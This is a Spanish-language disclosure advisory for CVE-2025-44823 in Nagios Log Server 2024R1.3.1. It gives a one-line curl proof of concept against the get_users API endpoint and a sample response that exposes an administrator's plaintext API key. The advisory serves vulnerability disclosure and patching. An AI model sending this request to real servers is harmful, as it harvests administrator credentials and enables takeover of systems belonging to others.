Exposición autenticada de claves API en Nagios Log Server 2024R1.3.1

▶️ Demostración del PoC

CVE ID: CVE-2025-44823

Fecha: 2025-04-02

Autores: Alex Tisdale, Seth Kraft

Página web del proveedor: https://www.nagios.com/

Registro de cambios del proveedor: https://www.nagios.com/changelog/#log-server

Enlace del software: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Versión: 2024R1.3.1 y anteriores

Probado en: Nagios Log Server 2024R1.3.1 (configuración predeterminada, Ubuntu 20.04)

CWE: CWE-497

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Autorización

Solo para investigación y pruebas autorizadas. No lo utilice contra sistemas sin permiso.

Descripción

Una vulnerabilidad a nivel de API en Nagios Log Server 2024R1.3.1 permite a cualquier usuario con un token de API válido recuperar una lista completa de cuentas de usuario junto con sus claves API en texto plano, incluidas las credenciales de administrador. Esta falla permite la enumeración de usuarios, la escalada de privilegios y el compromiso total del sistema mediante el uso no autorizado de tokens expuestos.

PoC

Paso 1: Acceda al endpoint vulnerable

curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"

Respuesta de ejemplo

[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "[email protected]",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]